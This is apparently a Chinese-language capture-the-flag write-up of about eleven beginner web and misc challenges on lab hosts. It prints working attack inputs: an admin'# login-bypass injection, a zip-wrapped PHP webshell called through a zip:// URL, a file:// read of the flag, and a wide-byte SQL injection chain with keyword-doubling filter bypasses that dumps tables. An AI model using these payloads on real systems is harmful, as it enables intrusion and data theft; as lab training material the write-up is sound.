进来之后发现是一个输入框,并且要我们输入生日,这题很简单,去网上搜索多来A梦的生日按照他的格式输入就可以过了
但是我一开始给这题卡了挺久的,因为我看到输入框就总想着sql注入啥的,所以以后碰到第一题都是比较简单的,要有信心秒杀,思维要活跃一点,跟着题目的提示来做就可以很快做出来。
第二题:
这题就只有一个输入框,我一开始输入了一些东西,发现无论输入什么都是没有反应,于是查看源码(一般做题目没什么思路的时候就可以试一下查看源码,说不定源码里面会有给出一些提示)
可以看到这里果然是有提示,一般看源码就只是看js和php因为只有js和php才比较有意义,css和html都是用来构建前端的页面的。经过这段代码审计之后,这段代码的意思是将”d84d9657e5e5e“应该是如果str不为空就等于这一串字符,然后再把ab2ad3fe和2进行相与操作,与出来的结果就是2,添加到原来的字符串上面,最后再加上后面的那两字符串,最后再将str反转过来,如果等于flag就得到了答案。4df4aedd8b4949ad2a2e5e5e7569d48d
成功拿到了flag
第三题:
第三题一进来就是一道刮刮乐,怎么刮都刮不出来答案
但是好像耐心一点刮多几次就可以出来flag
第四题:
第四题一进来就只有一个登录界面和注册的入口,我一开始登录都进不去,然后我创建了一个新的用户尝试登录
登录进去之后他让我尝试用管理员用户来登录。所以我就一直在想是垂直越权,通过抓包修改某些参数才可以变成管理员
但是无论实在登录页面还是在注册页面我都没有找到可以修改权限的位置,所以这道题目困了我很久。后面又尝试用sql注入,但是sql注入又被过滤了很多东西,单引号被过滤了,在or前面有字符也会被过滤,所以我这题也被困了很久。
结果去网上搜,用万能密码尝试了一下
这是我在网上找到的一些万能密码,如果—不行就可以尝试换成#试一下
最终尝试了admin’#成功进入获得flag
第五题:
这里有一进来就是文件上传漏洞,但是只允许上传以上的文件,我尝试了一下双写绕过,大小写绕过都不行,于是就去网上搜了一下发现是要用zip伪协议来获得flag。先将一句话木马压缩成zip,然后直接上传
获得路径,然后构造url,上传成功
http://10.14.3.103/index.php?url=zip:///var/www/html/upload/5a5438f1c29c9c29ca5e5389b057ff45.zip%23shell,后面这一段就是zip://加上所给的路径,最后要#上php的文件名,但是zip里面会自动解析为php所以不用加后缀,用蚁剑连接,找到flag
第六题:
这题题目已经提示了是目录穿越
先看一下这些链接里面是什么
发现这里面可能是过滤了这些东西,查看了一下源码
看到了一个see index.bak,所以进入到这个目录下查看
进来之后直接看到了两段php的代码,上面的那段代码是用来过滤一些特殊的字符的,而下面的那段代码就是用来传参进来的,输入的是p,所以我就尝试
发现是可以传参的,后面就没有思路了,我就去网上查看了一下,发现可以用伪协议
然后题目又说是在根目录下的flag里面,所欲就尝试访问,localhost可以指这个web服务器的根目录,所以就可以构造url,10.4.13.104/?p=file://localhost/flag,得到flag
第七题:
题目给了很明显的提示是sql,于是就直接尝试sql注入,但是用sqlmap跑不出了,所以就猜测肯定是被过滤了什么就改为用手注,发现无论输入什么是没有该用户,除了admin。
所以可能前端有绕过,就用bp抓包,最重要的是这题,提出了有加了中文的用户名所以就直接猜想是宽字节注入,利用payload: 1%df\%27%20ununionion%20selselectect%201,2,database()%23
1%df%27ununionion%20selselectect%201,char(97,100,109,105,110),database()%23
发现还是没有该用户
前面尝试的时候一直都是只有admin才可以登录进入
所以将payload改成
1%df\%27%20ununionion%20selselectect%201,char(97,100,109,105,110),database()%23,成功获得数据库。
后面就按正常的操作就可以获得flag
1%df%27ununionion%20selselectect%201,char(97,100,109,105,110),group_concat(table_name)%20from%20information_schema.tables%20whwhereere%20table_schema=database()%23&pw=1
# 得到表名为f14g,user
1%df%27ununionion%20selselectect%201,char(97,100,109,105,110),group_concat(column_name)%20from%20information_schema.columns%20whwhereere%20table_name%20=%20char(102,49,52,103)%23&pw=1#
得到f14g列名为
b80bb7740288fda1f201890375a60c8f,327a6c4304ad5938eaf0efb6cc3e53dc
1%df%27ununionion%20selselectect%201,char(97,100,109,105,110),327a6c4304ad5938eaf0efb6cc3e53dc%20from%20f14g%20limit%2022,1%23&pw=1
得到flag
R1hZe2cwT2Rfam9iMWltX3NvX3ZlZ2V0YWJsZX0=
可以看到很明显的=结尾,用base64解码。
其中题目过滤了空格union和select还有井号和单引号
第八题:
这题一进来就只有一个图片
点击查看源码,发现都是一堆没有用的前端代码
利用御剑扫描一下,发现有很多目录,随便点开一个看看
发现有一个目录,再进去看看
发现有一段php代码,这个代码大概意思就是传参ctf于是再尝试,尝试传入参数为phpinfo看是不是能看到php的内容
发现直接得到flag
第九题:
第十题:这个大白题目说是屏幕太小了,就把他放大一点
利用二进制打开,把宽和高改成一样的就可以了
得到flag
第十一题
ZmxhZ3tUSEVfRkxBR19PRl9USElTX1NUUklOR30=所给的这一段东西的结尾是=,而这个等号一般就是base64的加密结尾,利用网上的工具解码就好了。